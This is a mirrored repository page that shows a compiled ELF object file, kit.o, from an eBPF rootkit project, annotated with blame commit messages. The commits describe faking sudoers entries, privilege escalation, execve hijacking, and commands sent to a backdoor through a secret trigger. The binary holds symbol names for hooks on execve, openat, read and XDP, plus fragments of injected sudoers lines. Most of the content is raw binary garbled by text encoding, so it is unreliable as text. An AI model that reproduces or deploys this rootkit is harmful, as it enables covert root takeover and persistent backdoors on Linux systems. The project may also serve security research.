admin/TripleCross
1
0
Fork 0
mirror of https://github.com/h3xduck/TripleCross.git synced 2026-01-31 03:23:06 +08:00
Code Issues Packages Projects Releases Wiki Activity
Files
f6a4c1daa0b5c90de6f8e25c085cee28e8336d28
TripleCross/src/.output/kit.o

835 lines
102 KiB
Plaintext
Raw Normal View History

Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
ELF><00><>@@<00><1E>UH<55><48>H<EFBFBD><48>H<>}<7D>H<EFBFBD>}<7D>t)H<>E<EFBFBD>H<EFBFBD>H<><48>tH<>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><01><><EFBFBD>UH<55><48>H<EFBFBD><48> H<>}辨<00><00>H<>E<EFBFBD>H<EFBFBD>}<7D>u<07><00>EH<45>E<EFBFBD>H<EFBFBD><48><EFBFBD>h<00><>u H<>E<EFBFBD>H<EFBFBD>H<>U<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00><>u H<>E<EFBFBD><45><15><><01>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD>P<EFBFBD><50><EFBFBD><EFBFBD><00><>UH<55><48><EFBFBD><00>~<7E><><EFBFBD>]<5D>UH<55><48>H<EFBFBD><48>H<>}<7D>H<EFBFBD>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><>UH<55><48>H<EFBFBD><48> H<>}<7D><>H<00><00>H<>E<EFBFBD>H<EFBFBD>}<7D>u
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>HH<>E<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>PH<>E<EFBFBD>H<EFBFBD>P H<>E<EFBFBD><45>@(H<>E<EFBFBD><45>@,H<>E<EFBFBD><45>@,Hc<48>H<EFBFBD>E<EFBFBD><45>@(H<>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48>H<EFBFBD>E<EFBFBD>H<EFBFBD>P0H<30>E<EFBFBD>H<EFBFBD>@0H<30><48><0F>$H<>E<EFBFBD>H<EFBFBD>@0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30>U<EFBFBD>H<EFBFBD><48>H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>H<>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>H<>U<EFBFBD>H<EFBFBD><48>H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>0H<30>U<EFBFBD>H<EFBFBD><48> H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>HH<48>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>HH<48>U<EFBFBD>H<EFBFBD><48>(H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>HH<48>U<EFBFBD>H<EFBFBD> H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>`H<>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>`H<>U<EFBFBD>H<EFBFBD><48>0H<30>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>`H<>U<EFBFBD>H<EFBFBD>˜H<>PH<>E<EFBFBD><45>@8H<>E<EFBFBD><45>@<H<>E<EFBFBD><45>@<Hc<48>H<EFBFBD>E<EFBFBD><45>@8H<38>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48>H<EFBFBD>E<EFBFBD>H<EFBFBD>P@H<>E<EFBFBD>H<EFBFBD>@@H<><48><0F><>H<>E<EFBFBD>H<EFBFBD>@@H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<>U<EFBFBD>H<EFBFBD><48>8H<38>PH<>E<EFBFBD>H<EFBFBD>@@H<>U<EFBFBD>H<EFBFBD><48>hH<68>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>U<EFBFBD>H<EFBFBD><48>@H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>U<EFBFBD>H<EFBFBD><48>pH<70>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>U<EFBFBD>H<EFBFBD><48>HH<48>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>U<EFBFBD>H<EFBFBD><48>xH<78>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>U<EFBFBD>H<EFBFBD><48>PH<50>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>U<EFBFBD>H<EFBFBD><48><EFBFBD>H<EFBFBD>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>U<EFBFBD>H<EFBFBD><48>XH<58>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>U<EFBFBD>H<EFBFBD>ˆH<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>U<EFBFBD>H<EFBFBD><48>`H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>U<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>@<18><>H<>E<EFBFBD>H<EFBFBD>H<>P<10><00><15><><01>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><1E>UH<55><48>H<EFBFBD><48>H<> $H<><48>pH<70><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>f<EFBFBD><66><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD><31><00><00><00><00> <00><00><00> <00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>u1H<31>H<><48><EFBFBD><00>kH<>5H<>=<00><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>u1H<31><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><00>pH<>5H<>=<00><00><00><00><00><00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<>@fDž<66><C785><EFBFBD><EFBFBD><0F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>f<><66><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>@H<>H<><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>Ή<EFBFBD><CE89><00><>t`<60><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><0F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<>5H<>Ǹ<00><00>}H<>5H<>=<00><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><00><>H<>H<><48><EFBFBD><00><><0F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>5H<>Ǹ<00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD>H<><48>H<EFBFBD>=<00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><0F><>H<>=<00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><00><00>H<><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><00><00>H<><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><00> H<>=<00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><00><>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>5H<><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<EFBFBD><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><00><>H<EFBFBD>=<00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><00>H<>M<EFBFBD>dH+ %(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48> H<>}<7D>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>=<00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00><00><><EFBFBD><EFBFBD><1E>UH<55><48>H<EFBFBD><48> <20>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD><55>}<7D>u<0F><00><><01><>t<07><00>H<>H<>U<EFBFBD>H<EFBFBD>M<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48> dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>ƿ<00><00><>t*H<>H<><48><EFBFBD>)<00>H<>=<00><00><00><00>H<EFBFBD>E<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48><EFBFBD>}<7D><><01>]<5D><><1E>UH<55><48>H<EFBFBD><48>pH<70>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD><00> H<><48><EFBFBD>H<>E<EFBFBD><45><EFBFBD><00><>u8H<38>E<EFBFBD>H<EFBFBD>pH<>E<EFBFBD><45><EFBFBD>H<>E<EFBFBD><45>H<>E<EFBFBD>I<EFBFBD><49>H<EFBFBD><48>H<EFBFBD>=<00><00><00><>H<>E<EFBFBD><45><EFBFBD><00><><0F><>H<>E<EFBFBD><45><EFBFBD><00><><0F><>H<>E<EFBFBD><45><EFBFBD><00><><0F><>H<>E<EFBFBD><45><EFBFBD><00><>utH<74>E<EFBFBD><45><EFBFBD>H<>E<EFBFBD><45>H<>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>E<EFBFBD><45><EFBFBD><00><>uH<>=<00><00>4!H<>=<00><00>YH<59>E<EFBFBD><45><EFBFBD><00><>H<EFBFBD>=<00><00><00>:H<>E<EFBFBD>H<EFBFBD>pH<>E<EFBFBD><45><EFBFBD>H<>E<EFBFBD><45>H<>E<EFBFBD>I<EFBFBD><49>H<EFBFBD><48>H<EFBFBD>=<00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><05>H<>M<EFBFBD>dH+ %(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48>0<EFBFBD>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>E<EFBFBD><00><00>}<7D>v<0F><><00>}<7D>v<0F><><00>}<7D>tt/<2F>}<7D>t<0F><><00>}<7D>htu<74>}<7D>h<0F><><00>}<7D>:<0F><><00>}<7D>?tt<74><74>H<>H<><48><EFBFBD><00>E<EFBFBD>H<EFBFBD>H<><48>H<EFBFBD>=<00><00><00>}<7D><0F><>H<>=<00><00><00><00><01>xH<78>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><00><00><00><>H<EFBFBD>=<00><00><00><00><00><00><>H<EFBFBD>=<00><00><00><00>H<>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><00>H<>MЋE<D08B>H<EFBFBD>H<>Ή<EFBFBD><CE89><00>E<EFBFBD><45>}<7D><><0F><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>=<3D><><EFBFBD><EFBFBD><EFBFBD><00><<3C><><EFBFBD>H<EFBFBD>5<EFBFBD><35><EFBFBD><EFBFBD><EFBFBD><00>H<>5<EFBFBD><35><EFBFBD><EFBFBD><EFBFBD><00><00>n<EFBFBD><6E><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>}<7D>u*H<>H<><48><EFBFBD>%<00>H<>=<00><00><00>4H<>E<EFBFBD>H<EFBFBD><48><EFBFBD>=<3D><><EFBFBD><EFBFBD>E<EFBFBD><45>}<7D>t%H<>H<><48><EFBFBD>'<00>H<>=<00><00><><00><01><00>E<EFBFBD><45><00><01>H<>E<EFBFBD>H<EFBFBD><00><00><00>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>@H<><48><EFBFBD><00><00>H<>5<EFBFBD><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<EFBFBD>}<7D>u)<29>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<><48><EFBFBD><00>H<>=<00><00>@H<>=<00><00>#H<>E<EFBFBD><45>dH<><48><EFBFBD><00>E<EFBFBD><45>}<7D><>u <09>E<EFBFBD><00><0F><00><><01><>uϐH<CF90>E<EFBFBD>H<EFBFBD><48><EFBFBD><00>}<7D>t<07><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><05><00><>kit_bpfrb_commfs_openexec_var_hijack_activekit_bpf.rodatakit_bpf.bsshandle_sched_process_exectp_sys_enter_readtp_sys_exit_readtp_sys_enter_openattp_sys_enter_execvexdp_receiveELF<00><00><>@@<00><00><00>U<00><00>$y
Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there
2022-02-05 14:10:12 -05:00
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD>y{<1A><>y{<1A><>y0{<1A><>y({<1A><>y {<1A><>y{<1A><>y{<1A><>cz<63><7A>{j<><6A><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00><00><00><00><00>{
Improved the pricvesc module which used sudo, now correctly working when the user already has sudo with password capabilities. Now the rootkit userspace helper is correctly launching with root permissions
2022-02-19 11:08:56 -05:00
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00><00> <00><><EFBFBD><EFBFBD><07>yv<06>ar <00>enk<1A><>now hidd{<1A><>That is {<1A><><00>s<><73><EFBFBD>s<><73><EFBFBD>k<><6B><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>s<><73><EFBFBD><00>LL #c<1A><>PASSWD:A{<1A><>:ALL) NO{<1A><>ALL=(ALL{<1A><>osboxes {<1A><>aq0<01>{*<2A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>c<00>p <00><><EFBFBD><EFBFBD>m<08>q<><71><EFBFBD>T<00><00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>h<00><00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>i<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>s<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01> <00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>w<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>o<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mq<><71><EFBFBD>U}n<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>muq<><71><EFBFBD>Us'<00>c <00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mkq<><71><EFBFBD>Uit<00>c
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>maq<><71><EFBFBD>U_ <00>c <00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mWq<><71><EFBFBD>UUb<00>c <00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mMq<><71><EFBFBD>UKe<00>c <00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mCq<><71><EFBFBD>UA <00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m9q<><71><EFBFBD>U7s<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m/q<><71><EFBFBD>U-e<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m%q<><71><EFBFBD>U#e<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mq<><71><EFBFBD>Un<00>y<><79><EFBFBD><00>d<00><00>s $<00><00>4<00><00>s<00><00><><00><><EFBFBD><EFBFBD><EFBFBD>a<00><00>$<00> m &<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>a<00>$<00>$e<00><><EFBFBD><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD><00><><00>#s<1A><><00>% <00><00>aq<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>$e<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>3<00><00><00><00><00> <00><>L<00><00><00><><00><00><00>{j<><6A><00> {<7B><><EFBFBD>{<7B><><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD>g <00> m Os<><73><EFBFBD>c<><63><EFBFBD>{<7B><><EFBFBD>ys<00><><00><><EFBFBD><EFBFBD><EFBFBD>q<00> <00>p{<7B><><EFBFBD>w cj<63><6A>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD> <00>s<00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><00>q<><71><EFBFBD>s%q<><71><EFBFBD>U#uq<><71><EFBFBD>U!dq<><71><EFBFBD>Uoq<><71><EFBFBD>Uq<><71><EFBFBD>/q<><71><EFBFBD>Ueq<><71><EFBFBD>Utq<><71><EFBFBD>Ucq<><71><EFBFBD>U/q<><71><EFBFBD>Usq<><71><EFBFBD>U uq<><71><EFBFBD>U dq<><71><EFBFBD>U oq<><71><EFBFBD>Ueq<><71><EFBFBD>Urq<><71><EFBFBD>Us<00> q<><71><EFBFBD><00> c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><00><00><00><><00><00><00><00>{z<><7A>{z<><7A><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>q<><71><EFBFBD>a"<02>b<00>q<><71><EFBFBD>U<01>aq<><71><EFBFBD>U<01>sq<><71><EFBFBD>U<01>hq<><71><EFBFBD>U<01>j<00><00><00><><00><><EFBFBD><EFBFBD><00><00><00><00>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{x<>{p<>{h<>{`<60>{X<>{P<>{H<><00><><EFBFBD><EFBFBD>tycr<00><><00><><EFBFBD><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD><00><00><00>yc<00><>H<><48><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00>y<><79><EFBFBD><00><00> <00>y<><79><EFBFBD><00><00> <00><00><>H<><48><EFBFBD><00><00><00>ycyd<00>E<00><00>)<00>yayb]<00><00><00>sG<>sF<><00>ks*E<><00>as*C<><00>js*B<><00>is*A<><00>_s*?<3F><00>vs*=<3D><00>ps*4<><00>ls*3<><00>cs*D<>s*<<3C>s*/<2F><00>rs*6<>s*.<2E><00>Gs*+<2B><00>Fs**<2A><00>Ts*)<29><00>xs*:<3A>s*%<25><00>bs*#<23><00>ss*7<>s*-<2D>s*'<27>s*"<22><00>es*><3E>s*;<3B>s*9<>s*5<>s*2<>s*&<26>s*<1F><00>ms*<1E><00>os*$<24>s*!<21>s*<1D><00>hs*@<40>s*1<>s*<1C><00>/s*8<>s*0<>s*,<2C>s*(<28>s* <20>s*<1B><00><><EFBFBD><EFBFBD>y<><79><EFBFBD><08>{x<>s<1A><>yaU<00><00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>e<00><><EFBFBD><EFBFBD>R<00><00><00><><EFBFBD><EFBFBD>7<00>q<><71><EFBFBD>Uwh<00><00><00><><EFBFBD><EFBFBD>-<00>yaO<00><00>$e
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48><EFBFBD>~<00>,<00><00><><EFBFBD><EFBFBD><00>yc<00><>x<><78><EFBFBD><EFBFBD><00>pe<00><><EFBFBD><EFBFBD><00><00><00><00><><EFBFBD><EFBFBD><00>yc<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pe<00><00><><EFBFBD><EFBFBD><00><00><00><00><><EFBFBD><EFBFBD><00>-<00><00>ya<00><><1B><><EFBFBD><EFBFBD>-<00>$<00>m <00>@<00><>H<><48><EFBFBD>q"@<00><><00><>H<><48><EFBFBD>=<00>0<00>y<><79><EFBFBD>m<00><00>y<><79><EFBFBD>|<00> <00>y<><79><EFBFBD><00><00> <00><00><00>g w }<00>y<><79><EFBFBD><00><>H<><48><EFBFBD><EFBFBD><EFBFBD><00>$e<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> H<><48><EFBFBD><00><00>/<00><><00>ya<00><><00><><00>$<00><00>&e<00>{<10>{<08>{<00>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{x<>yc<00><><00><><EFBFBD><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD><00><00><00>yc<00><>x<><78><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD><00><00><00><00><><00><><EFBFBD><EFBFBD><00><00>y<>x<EFBFBD>!<00><00>y<><79><EFBFBD>1<00><00>y<><79><EFBFBD>@<00><00><00>&<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>e<00><><EFBFBD><EFBFBD><00><00><00><00><><EFBFBD><EFBFBD>q<><71><EFBFBD>U w<00><00><00>ya<00><>H<><48><EFBFBD><EFBFBD><00>$<00><><EFBFBD><EFBFBD>ya<00><>H<><48><EFBFBD><EFBFBD><00>$<00>Y<> <00> <00><00>p<00><00>asax<00><>=c<00><00><> "=<3D><00><00><00><00> <00><00>qa U<01><><00><>6=<00><>i<> #(i<><00><00><00>atas$<00><00><00><>{:<3A><>3<00><00>ic<00>i<> wW<qbgW<#<00><> <00>1g w y<><79><EFBFBD>U <00>=B<00><><00> y<><79><EFBFBD>=b[<00><>D<00><00><00><00><>qq<00>#<00>U VqgOqgO!<00>wW<00>w<00>$<00>4<00><00>qq
<00>E<00>5<00>x qegO5qc gOC<00>4wW<00>w<00>@<00>P<00><00><><00>$qe qb gOR<00>%w<00>TU )<00><00>#W<00>$<00>)<00>M<00>0<00><00><00> <00><00><00><00>q<><00>c<00><><EFBFBD><EFBFBD>cc`<00><00><00><00><00>f<><00><>]<00>6<00><00> {
Completed message passing of commands to userspace via ebpf ringbuffer
2022-05-05 13:22:47 -04:00
<EFBFBD><EFBFBD><00>y<><79><EFBFBD>qAX<00>S<>qAU<01><>DqAU<01><>PqAU<01><>_qAU<01><>PqAU<01><>oqAU<01><>CqAU<01><>_qAU<01><>0<00><00>y<><79><EFBFBD><00>i<>
Added V1 command sending via secret trigger on backdoor
2022-05-05 12:59:02 -04:00
gi<>O!i<> k*<2A><>c<1A><>i<>gi<>O!i<>i<>gO#g O{:<3A><>aa g abO!abc*<2A><>{<1A><>aaabg O{*<2A><>a<>g a<>O!a<>c*<2A><>{<1A><>a<>a<> g O{*<2A><><00>q<00><00>A
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
}<00>4<00><00><00><><EFBFBD><EFBFBD>{<1A><><00>ar<00>) "aq{*<2A><>{*<2A><>=!<00> =<3D><00>y<><79><EFBFBD>6=!U<00><00>&<00><00><><EFBFBD><EFBFBD>{<1A><><00><00><00>Gy<><79><EFBFBD><00><00> aq{<1A><>avy<><79><EFBFBD>=<00> <00>&<00>y<><79><EFBFBD>{<7B><><EFBFBD>y<><79><EFBFBD>y<><79><EFBFBD><1F><00>dy<><79><EFBFBD>3<00>)<00>\<00><00>c<00><><00>as{<00>*<00><><00><>y<><79><EFBFBD>=!<00><00><>=G<00>y<><79><EFBFBD>i#<00>i<> wW<q"gW<#{:<3A><><00>2g w <00>9[-#fm<00><00><>i<><69><EFBFBD>y<><79><EFBFBD>k a<><61><EFBFBD>kwk
Added V1 command sending via secret trigger on backdoor
2022-05-05 12:59:02 -04:00
y<><79><EFBFBD><00>w0k#<00>w k#kwka<><61><EFBFBD>y<><79><EFBFBD>cy<><79><EFBFBD>cw c y<><79><EFBFBD>cw ca<><61><EFBFBD>cy<><79><EFBFBD>cw c y<><79><EFBFBD>cw cid
Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes
2022-05-07 10:36:46 -04:00
ic#<00><00>ia<00><00>k<00><00>{<1A><>k&
T<00>*<00><00>d<00><00><00><00><00>c<00><00><00><00>wW<00><>W<00><><00>wW<00><>W<00><><00>wW<00><>W<00><><00>w<00><00><><EFBFBD><EFBFBD>y<EFBFBD><79><EFBFBD>k
